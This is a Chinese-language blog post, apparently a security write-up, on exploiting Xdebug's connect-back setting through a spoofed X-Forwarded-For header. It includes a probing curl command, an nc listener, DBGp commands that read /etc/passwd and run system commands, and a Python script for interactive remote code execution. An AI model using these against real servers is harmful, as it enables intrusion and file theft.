xdeubg中存在的一些攻击点

784 阅读4分钟

本周的研究课题还没结束,先发一篇旧文

本文主要内容为xdebug的攻击点,还是挺有意思的。

对了,本周在读书目为《思考快与慢》,翻译不是特别接地气,读起来挺吃力,所以到现在还没读完,虽然我也奢望一周读完它,毕竟1000多页呢

上周读完了一本雷军传,自认为写的没什么出彩的地方,也就没有写书评,就连读书笔记都少得可怜,下周的书目还没有定,不知道大家有没有什么推荐?

《思考快与慢》先放一放,有点难读,虽然内容确实不错

下面进入正题

原理简介

xdebug是调试php代码的工具,遵循DBGp协议。其工作原理大概如下(搬运):

  • IDE(如phpstorm)已经集成了一个遵循DBGp的Xdebug插件,当开启它的时候,会在本地开一个xdebug调试服务,监听在调试所设置的端口上,默认是9000,这个服务会监听所有到9000端口的连接。在phpstorm中,位于:工具栏>run>Start / Stop Listening for PHP Xdebug Connetions

  • 当浏览器发送一个带XDEBUG_SESSION_START的参数的请求到服务器时,服务器接手后将其转到后端的php处理,如果php开启了xdebug模块,则会将debug信息转发到客户端IP的IDE的调试端口上,不仅如此,我们还可以给服务端发送命令,执行一些操作,甚至是命令执行。

另外,xdebug不是伴随着php的,要使用它,需要我们自行安装,可费劲er了。当然我们可以直接到docker hub上找现成的环境。

安装完xdebug你以为就结束了吗,没有!

我们还需要对xdeubg进行配置,网上大多数的教程都是说在php.ini里配置,但是我使用的这个docker环境,xdebug是有一个单独的配置文件的

我就直接在这里面配置了(其实docker环境已经配置的差不多了,我只是按需修改了一下)

我的配置文件如下:

zend_extension=xdebug.so
xdebug.idekey="PHPSTORM"
xdebug.remote_enable=1
xdebug.remote_autostart=0
xdebug.remote_connect_back=1
xdebug.remote_port=9000

几个常见配置解释

设置调试工具

xdebug.idekey="PHPSTORM"

绑定远程调试主机地址

xdebug.remote_host=localhost

远程主机监听的端口

xdebug.remote_port=9000

开启回连

xdebug.remote_connect_back = 1

开启xdebug

xdebug.remote_enable = 1

经过上面的描述,你应该大概了解到其实php的调试是通过客户端、服务端经过DBGp协议通信来协调实现的

这也是为什么php支持远程调试的原因,既然可以远程通信,肯定是需要知道对方的地址的

而xdebug又有两种方式来确定ide的地址,一种是固定ip的方式,另一种就是非固定ip的方式

固定ip方式就是直接在配置xdeubg配置文件或者php.ini里写死IDE的公网地址,这样我们是不能利用的。配置里会有类似下面这两项:

xdebug.remote_host=localhost
xdebug.remote_port=9000

另一种方式就是自动回连到请求地址,配置会出现下面这一项:

xdebug.remote_connect_back = 1

而自动回连的ip地址是来自下面这几处:

  1. xdebug.remote_addr_header

  2. X-Forwarded-For

  3. Remote-Addr

我们知道xff头是可以控制的,所以就算配置了其他的两个,也没有关系,照样可以连接到我指定的ip地址上,这不就出大问题了吗

利用条件

xdebug.remote_connect_back = 1 //开启回连 并且此选项开启时,xdebug会忽略xdebug.remote_host

直接把客户端ip当作回连ip,也就是谁访问它,谁就是回连ip

xdebug.remote_enable = 1 //开启xdebug

xdebug.remote_log = /tmp/test.log

DBGp协议使用方法

source命令

source -i transaction_id -f fileURI

transactionid 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 openbasedir。

利用方式

source -i 1 -f file:///etc/passwd

还可以利用php://filter ssrf等

脚本里面要这样写

conn.sendall('source -i 1 -f %s\x00' % data)

eval命令

用于执行PHP代码

eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):

eval -i 1 -- c3lzdGVtKCJpZCIpOw==

脚本里面要这样写

conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

还有一些其他协议可用,这里就不一一搬运了,2333333

攻击方式

前置知识差不多了,那么要如何利用呢,首先我们发送如下请求,探测目标是否开启了xdeubg并支持回连

curl http://localhost:8123/joomla346/index.php?XDEBUG_SESSION_START=123 -H "X-Forwarded-For:172.17.0.1"

其中xff在真实环境下应该设置为你的公网ip,你公网vps需要监听9000端口(默认是9000端口,目标服务器的xdebug也可能回连其他端口吧~)

nc -lvvp 9000

如果vps收到如下请求,则表示问题存在

在这里插入图片描述 然后我们可以写个交互式的利用脚本:

import socket
 
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
 
while True:
    client_data =conn.recv(1024)
    print(client_data)
 
    data =raw_input('>> ')
    conn.sendall('eval-i 1 -- %s\x00' % data.encode('base64'))

上面这个脚本就是利用eval命令执行php代码,我们可以通过输入system(命令)的方式执行系统命令

参考

https://blog.spoock.com/2017/09/19/xdebug-attack-surface/